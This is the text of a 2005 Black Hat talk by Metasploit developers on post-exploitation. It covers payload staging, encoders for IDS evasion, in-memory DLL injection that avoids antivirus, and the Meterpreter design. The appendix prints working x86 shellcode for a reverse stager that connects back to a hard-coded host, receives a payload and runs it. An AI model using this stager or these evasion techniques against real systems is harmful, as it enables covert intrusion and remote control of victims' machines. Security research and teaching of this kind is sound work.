

spoonm skape



BLACK HAT BRIEFINGS

Beyond EIP

When we built Metasploit, our focus was on the exploit development process. We tried to design a system that helped create reliable and robust exploits. While this is obviously very important, it's only the first step in the process. What do you do once you own EIP? Our presentation will concentrate on the recent advancements in shellcode, IDS/firewall evasion, and post-exploitation systems. We will discuss the design and implementation of the technologies that enable complex payloads, such as VNC injection, and the suite of tools we've built upon them. We will then present a glimpse of the next generation of Metasploit, and how these new advances will serve as its backbone.

Spoonm

Since late 2003, spoonm has been one of the core developers behind the Metasploit Project. He is responsible for much of the architecture in version 2.0, as well as other components including encoders, nop generators, and a polymorphic shellcode engine. A full-time student at a northern university, spoonm spends too much of his free time on security research projects.

Skape

Skape is a lead software developer by day and an independent security researcher by night. He joined forces with the Metasploit project in 2004 where his many contributions have included the Meterpreter, VNC injection, and many other payload advances. Skape has worked on a number of open-source projects and has authored several papers on security related technologies. His current security related interests include post-exploitation technologies, payload development and optimization, and exploitation prevention technology.

Beyond EIP

spoonm & skape

BlackHat, 2005

Part I

Introduction

Who are we?

- ▶ spoonm
 - ▶ Full-time student
 - ▶ Metasploit developer since late 2003
- ▶ skape
 - ▶ Lead software developer by day
 - ▶ Independent security researcher by night
 - ▶ Joined the Metasploit project in 2004
 - ▶ Responsible for all cool features

What's this presentation about?

- ▶ What it's not about
 - ▶ New exploit / attack vectors
 - ▶ New exploitation techniques
 - ▶ Oday, bugs, etc
- ▶ What it is about
 - ▶ What you can do after owning EIP
 - ▶ The techniques to do it
 - ▶ Our tools to support it

Plan of attack

- ▶ Payload Infrastructure
 - ▶ Payload composition
 - ▶ How payloads work
 - ▶ Recent tools, tricks, and techniques
- ▶ Post-exploitation tools
 - ▶ Background & review of existing tools
 - ▶ The technology behind our tools
 - ▶ How they can be used
 - ▶ Crazy cool features for the end-user

Our definitions: the exploitation cycle

- ▶ **Pre-exploitation** - Before the attack
 - ▶ Find a bug, isolate, write exploit
 - ▶ Write any other tools, payloads, etc
- ▶ **Exploitation** - Leveraging the vulnerability
 - ▶ Recon, information gathering, find target
 - ▶ Initialize tools and infrastructure
 - ▶ Launch the exploit
- ▶ **Post-exploitation** - Manipulating the target
 - ▶ Arbitrary command execution
 - ▶ Command execute via shell
 - ▶ File access, VNC, pivoting, etc
 - ▶ Advanced payload interaction

Part II

Payload Infrastructure

Anatomy of a Payload

[nops] [decoder (encoded payload)]

- ▶ **Nop sled**
 - ▶ For exploits where return is uncertain
 - ▶ Control flows through the sled into the encoder
 - ▶ Generally 1 byte aligned for x86
- ▶ **Decoder**
 - ▶ Synonymous with payload encoder
 - ▶ Loops and decodes payload
 - ▶ Payload executed when finished
- ▶ **Payload**
 - ▶ Arbitrary code
 - ▶ Typically provides a command shell

What's a nop sled?

Definition

- ▶ A series of bytes that equate to no-operations on the target architecture

How a nop sled works

- ▶ Client builds a nop sled and prepends it to a payload
- ▶ Client transmits the entire payload via an exploit
- ▶ Target executes all, some, or none of the nop instructions
- ▶ Execution falls through to the payload

What's so cool about nop sleds?

- ▶ Not all vulnerabilities have predictable return addresses
 - ▶ Particularly useful when brute forcing
- ▶ Using a sled can improve exploit quality
 - ▶ Increasing the brute force step size decreases number of attempts

Nop sled technology

Existing technology

- ▶ `perl -e 'print "\x90" x $ARGV[0]'` sled_size
- ▶ ADMutate - single-byte x86

Metasploit technology

- ▶ Opty2 multi-byte sled generator
- ▶ Based on Optyx's multi-byte sled generator

What's an encoder?

Definition

- ▶ Algorithm to retain payload functionality, but alter the byte sequence

How an encoder works

- ▶ Client encodes the payload prior to transmission
- ▶ Client prepends decoder stub to the payload
- ▶ Client transmits the entire payload via an exploit
- ▶ Target executes the decoder stub
- ▶ Decoder stub performs inverse operation on the payload
- ▶ Original payload is executed

What's so cool about encoders?

- ▶ Avoid common restricted characters (0x00, 0x0a, etc)
- ▶ Survive application translations (unicode, toupper)
- ▶ IDS evasion
 - ▶ Static string signatures (/bin/sh)
 - ▶ Specific payload and payload pattern signatures

Encoder technology

Existing technology

- ▶ XOR
 - ▶ Defacto standard for encoders
 - ▶ Typically performed on a byte, word, or dword basis
 - ▶ Variable or static key
 - ▶ Decoder stubs are usually static excluding the key
- ▶ Alphanumeric / Unicode
 - ▶ Rix's x86 encoder from Phrack 57
 - ▶ SkyLined's Alpha2 x86 ascii and unicode encoder
 - ▶ Dave Aitel and FX's unicode encoders

Metasploit technology

- ▶ Shikata Ga Nai

What's a payload?

Definition

- ▶ Arbitrary code that is to be executed upon successful exploitation

How a payload works

- ▶ Client prepares the payload for execution
- ▶ Data may be embedded (cmd to execute, hostname, port, etc)
- ▶ Client transmits the payload via an exploit
- ▶ Target executes the payload

The three types of payloads

▶ Single

- ▶ A self-contained payload that performs a specific task
- ▶ Size varies depending on the task
- ▶ Example: Reverse of bind command shell

▶ Stager

- ▶ A stub payload that loads / bootstraps a stage
- ▶ Size generally much smaller than single payloads
- ▶ Passes connection information onto the stage

▶ Stage

- ▶ Similar to a single payload, but takes advantage of staging
- ▶ Uses connection passed from the stager
- ▶ Not subject to size limitations of individual vulnerabilities
- ▶ A stager can also be a stage

Single payloads

- ▶ Easy plug & chug payloads
- ▶ Task oriented and connection specific
- ▶ Single payloads have to be developed for each connection (portbind, reverse, findsock)
 - ▶ Requires the payload to be implemented N times
 - ▶ Shellcode development systems tried to help with this
- ▶ Subject to size limitations of individual vulnerabilities

Payload stagers

- ▶ Stagers are typically network based and follow three basic steps
 - ▶ Establish connection to attacker (reverse, portbind, findsock)
 - ▶ Read in a payload from the connection
 - ▶ Setup connection information and branch to stage
- ▶ The three steps make it so stages are independent of the connection method
 - ▶ No need to have command shell payloads for reverse, portbind, and findsock

Why are payload stagers useful?

- ▶ Some vulnerabilities have limited space for the initial payload
- ▶ Typically much smaller than the stages they execute
- ▶ Eliminate the need to re-implement payloads for each connection method
- ▶ Provides an abstraction level for loading code onto a remote machine through any medium

Existing payload stager technology

- ▶ Standard reverse, portbind, and findsock stagers included in Metasploit 2.2+
- ▶ LSD Win32 Assembly Components
- ▶ Found in public exploits (Solar Eclipse OpenSSL)

Payload stages

- ▶ Payload stages are executed by payload stagers and perform arbitrary tasks
- ▶ Some examples of payload stages include
 - ▶ Execute a command shell and redirect IO to the attacker
 - ▶ Execute an arbitrary command (ex adduser)
 - ▶ Download an executable from a URL and execute it

Why are payload stages useful?

- ▶ Highly reusable (connection independent, etc)
- ▶ Can conform to some sort of ABI
- ▶ Not subject to size limitations of individual vulnerabilities
- ▶ This means they can be arbitrarily complex

“Advantage” payloads

- ▶ Shellcode generation systems
- ▶ Generally have more features because they're easier to write
- ▶ The system's infrastructure makes the payloads more capable
- ▶ Help to reduce the tediousness of writing payloads
- ▶ Stealth's Hellkit
- ▶ Core ST's InlineEgg
- ▶ Philippe's Shellforge
- ▶ Dave Aitel's MOSDEF

Windows ordinal stagers

- ▶ Technique from Oded's lightning talk at core04
- ▶ Uses static ordinals in `WS2_32.DLL` to locate symbol addresses
- ▶ Compatible with all versions of Windows (including 9X)
- ▶ Results in very low-overhead symbol resolution
- ▶ Facilitates implementation of reverse, portbind, and findsock stagers
- ▶ Leads to very tiny win32 stagers (92 byte reverse, 93 byte findsock)
- ▶ Detailed write-up can be found in reference materials

How ordinal stagers work

- ▶ Ordinals are unique numbers that identify exported symbols in PE files
- ▶ Each ordinal can be used to resolve the address of an exported symbol
- ▶ Most of the time, ordinals are incremented linearly by the linker
- ▶ Sometimes, however, developers may wish to force symbols to use the same ordinal every build
- ▶ When ordinals are the same every build, they are referred to as static
- ▶ Using an image's exports by ordinal instead of by name is more efficient at runtime
- ▶ However, it will not be reliably portable unless the ordinals are known-static
- ▶ Very few PE files use known-static ordinals, but `WS2_32.DLL` is one that does
 - ▶ 30 symbols use static ordinals in `WS2_32.DLL`

Limitations of ordinal stagers

- ▶ Only 30 symbols can be used
 - ▶ `WSASocketA` is not among them
- ▶ Can't initialize winsock if it isn't initialized
 - ▶ `WSAStartup` doesn't have a static ordinal
- ▶ Can't use sockets as direct standard I/O handles
 - ▶ Sockets returned from `socket` aren't valid console handles
 - ▶ Must use pipes instead

Implementing a reverse ordinal stager

- ▶ Locate the base address of `WS2_32.DLL`
 - ▶ Extract the `Peb->Ldr` pointer
 - ▶ Extract `Flink` from the `InInitOrderModuleList`
 - ▶ Loop through loaded modules comparing module names
 - ▶ Module name is stored in unicode, but can be partially translated to ANSI
 - ▶ Once `WS2_32.DLL` is found, extract its `BaseAddress`
- ▶ Resolve `socket`, `connect`, and `recv`
 - ▶ Use static ordinals to index the Export Directory Address Table
- ▶ Allocate a socket, connect to the attacker, and read in the next payload
- ▶ Requires that `WS2_32.DLL` already be loaded in the target process

Part III

Post Exploitation

What is post-exploitation?

- ▶ The purpose of an exploit is to manipulate a target
- ▶ Manipulation of a target begins in post-exploitation
 - ▶ Command shells are executed
 - ▶ Files are downloaded
- ▶ Represents the culmination of the exploitation cycle

What do most people do in post-exploitation?

- ▶ Most people spawn a command shell
 - ▶ Poor automation support
 - ▶ Reliant on the shell's intrinsic commands
 - ▶ Limited to installed applications
 - ▶ Can't provide advanced features
- ▶ Some people use syscall proxies
 - ▶ Good automation support
 - ▶ Partial or full access to target native API
 - ▶ Can be clumsy when implementing complex features
 - ▶ Typically require specialized build steps

Dispatch Ninja Demos!

What is Meterpreter?

- ▶ An advanced post-exploitation system
- ▶ Based on library injection technology
- ▶ First released with Metasploit 2.3
- ▶ Detailed write-up can be found in reference materials

- ▶ After exploitation, a Meterpreter server DLL is loaded on the target
- ▶ Attackers use a Meterpreter client to interact with the server to...
 - ▶ Load run-time extensions in the form of DLLs
 - ▶ Interact with communication channels

- ▶ But before understanding Meterpreter, one should understand library injection...

Library injection

- ▶ Provides a method of loading a library (DLL) into an exploited process
- ▶ Libraries are functionally equivalent to executables
 - ▶ Full access to various OS-provided APIs
 - ▶ Can do anything an executable can do
- ▶ Library injection is covert; no new processes need to be created
- ▶ Detailed write-up can be found in reference materials

Types of library injection

- ▶ Two primary methods exist to inject a library
 1. **On-Disk**: loading a library from the target's harddrive or a file share
 2. **In-Memory**: loading a library entirely from memory
- ▶ Both are conceptually portable to non-Windows platforms

On-Disk library injection

- ▶ Loading a library from disk has been the defacto standard for Windows payloads
- ▶ Loading a library from a file share was first discussed by Brett Moore
- ▶ On-Disk injection subject to filtering by Antivirus due to filesystem access
- ▶ Requires that the library file exist on the target's harddrive or that the file share be reachable

In-Memory library injection

- ▶ First Windows implementation released with Metasploit 2.2
- ▶ Libraries are loaded entirely from memory
- ▶ No disk access means no Antivirus interference
- ▶ Most stealthy form of library injection thus far identified
- ▶ No disk access means no forensic trace if the machine loses power

In-Memory library injection on Windows

- ▶ Library loading on Windows is provided through `NTDLL.DLL`
- ▶ `NTDLL.DLL` only supports loading libraries from disk
- ▶ To load libraries from memory, `NTDLL.DLL` must be tricked
- ▶ When loading libraries, low-level system calls are used to interact with the file on disk
 - ▶ `NtOpenFile`
 - ▶ `NtCreateSection`
 - ▶ `NtMapViewOfSection`
- ▶ These routines can be hooked to change their behavior to operate against a memory region
- ▶ Once hooked, calling `LoadLibraryA` with a unique pseudo file name is all that's needed

Library injection in action: VNC

- ▶ VNC is a remote desktop protocol
- ▶ Very useful for remote administration beyond simple CLIs
- ▶ First demonstrated at BlackHat USA 2004
- ▶ Metasploit team converted RealVNC to a standalone DLL
 - ▶ No non-standard file dependencies
 - ▶ No installation required
 - ▶ Does not make any registry or filesystem changes
 - ▶ Does not listen on a port; uses payload connection as a VNC client
- ▶ By using the generic library loading stager, VNC was simply plugged in
- ▶ Extremely useful when illustrating security weaknesses
- ▶ Suits understand mouse movement much better than command lines

Meterpreter: Design goals

- ▶ Primary design goals are to be...
 - ▶ **Stealthy**: no disk access and no new process by default
 - ▶ **Powerful**: channelized communication and robust protocol
 - ▶ **Extensible**: run-time augmentation of features with extensions
- ▶ Portability also a design consideration
 - ▶ The current server implementation is only for Windows

Architecture - design goals

- ▶ Very flexible protocol; should adapt to extension requirements without modification
- ▶ Should expose a channelized communication system for extensions
- ▶ Should be as stealthy as possible
- ▶ Should be portable to various platforms
- ▶ Clients on one platform should work with servers on another
- ▶ All non-critical features should be implemented by extensions

Architecture - protocol

- ▶ Uses TLV (Type-Length-Value) to support opaque data
- ▶ Every packet is composed of zero or more TLVs
- ▶ Packets themselves are TLVs
 - ▶ Type is the packet type (request, response)
 - ▶ Length is the length of the packet
 - ▶ Value is zero or more embedded TLVs
- ▶ TLVs make packet parsing simplistic and flexible
 - ▶ No formatting knowledge is required to parse the packet outside of the TLV structure

Core client/server interface

- ▶ Server written in C, client written in any language
- ▶ Provides a minimal interface to support the loading of extensions
- ▶ Implements basic packet transmission and dispatching
- ▶ Exposes channel allocation and management to extensions
- ▶ Also includes support for migrating the server to another running process

- ▶ Metasploit 2.x has a perl Meterpreter client
- ▶ Metasploit 3.x will use a ruby Meterpreter client

Augmenting features at run-time

- ▶ Adding new features is as simple as loading a DLL on the server
 - ▶ Client uploads the extension DLL
 - ▶ Server loads the DLL from memory and initializes it
- ▶ Client can begin sending commands for the new extension

Meterpreter extensions in action: Stdapi

- ▶ Included in Metasploit 3.0
- ▶ Combination of previous extensions into standard interface
- ▶ Provides access to standard OS features
- ▶ Feature set provides for robust client-side automation
- ▶ Designed to mirror the Ruby API to make it easy to use existing scripts against targets

Why is Meterpreter useful?

- ▶ Standard interface makes it possible to use one client to perform common actions on various platforms
 - ▶ Execute a command interpreter and channelize the output
 - ▶ Turn on the target's USB webcam and begin streaming video
- ▶ Programmatically automatable
 - ▶ RPC-like protocol allows arbitrarily complex tasks to be performed with a common interface
 - ▶ Extension-based architecture makes Meterpreter completely flexible
- ▶ Use of in-memory library injection makes it possible to run in a stealth fashion

Some of the features Meterpreter can offer

- ▶ Command execution & manipulation
- ▶ Registry interaction
- ▶ File system interaction
- ▶ Network pivoting & port forwarding
- ▶ Complete native API proxying
- ▶ Anything you can do as a native DLL, Meterpreter can do!
- ▶ Sky's the limit!

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Part IV

Demos

Part V

Conclusion

What does the future hold?

- ▶ Exploitation vectors and techniques are mature
- ▶ Public post-exploitation suites still very weak
- ▶ However, post-exploitation is maturing
- ▶ Metasploit 3.0 should be cool

Reference Material

Payload Stagers

- ▶ PassiveX
<http://www.uninformed.org/?v=1&a=3&t=sumry>

Payload Stages

- ▶ Library Injection
<http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf>
- ▶ Meterpreter
<http://www.nologin.org/Downloads/Papers/meterpreter.pdf>

Part VI
Appendix

Part VII
Appendix: Payload Stagers

Locating WS2_32.DLL's base address

```

FC          cld                ; clear direction (lodsd)
31DB       xor ebx,ebx         ; zero ebx
648B4330   mov eax,[fs:ebx+0x30] ; eax = PEB
8B400C     mov eax,[eax+0xc]   ; eax = PEB->Ldr
8B501C     mov edx,[eax+0x1c]  ; edx = Ldr->InitList.Flink
8B12       mov edx,[edx]      ; edx = LdrModule->Flink
8B7220     mov esi,[edx+0x20]  ; esi = LdrModule->DllName
AD         lodsd              ; eax = [esi] ; esi += 4
AD         lodsd              ; eax = [esi] ; esi += 4
4E         dec esi            ; esi--
0306       add eax,[esi]      ; eax = eax + [esi]
                                ; (4byte unicode->ANSI)
3D32335F32 cmp eax,0x325f3332      ; eax == 2_32?
75EF       jnz 0xd           ; not equal, continue loop

```

Resolve symbols using static ordinals

```

8B6A08     mov ebp,[edx+0x8]          ; ebp = LdrModule->BaseAddr
8B453C     mov eax,[ebp+0x3c]      ; eax = DosHdr->e_lfanew
8B4C0578   mov ecx,[ebp+eax+0x78] ; ecx = Export Directory
8B4C0D1C   mov ecx,[ebp+ecx+0x1c] ; ecx = Address Table Rva
01E9       add ecx,ebp                ; ecx += ws2base
8B4158     mov eax,[ecx+0x58]         ; eax = socket rva
01E8       add eax,ebp                ; eax += ws2base
8B713C     mov esi,[ecx+0x3c]         ; esi = recv rva
01EE       add esi,ebp                ; esi += ws2base
03690C     add ebp,[ecx+0xc]         ; ebp += connect rva

```

Create the socket, connect back, recv, and jump

```
; Use chained call-stacks to save space
; connect returns to recv returns to buffer (fd in edi)
53          push ebx                ; push 0
6A01       push byte +0x1          ; push SOCK_STREAM
6A02       push byte +0x2          ; push AF_INET
FFD0       call eax                ; call socket
97         xchg eax,edi            ; edi = fd
687F000001 push dword 0x100007f      ; push sockaddr_in
68020010E1 push dword 0xe1100002
89E1       mov ecx,esp            ; ecx = &sockaddr_in
53         push ebx                ; push flags (0)
B70C       mov bh,0xc             ; ebx = 0x0c00
53         push ebx                ; push length (0xc00)
51         push ecx                ; push buffer
57         push edi                ; push fd
51         push ecx                ; push buffer
6A10       push byte +0x10        ; push addrlen (16)
51         push ecx                ; push &sockaddr_in
57         push edi                ; push fd
56         push esi                ; push recv
FFE5       jmp ebp                ; call connect
```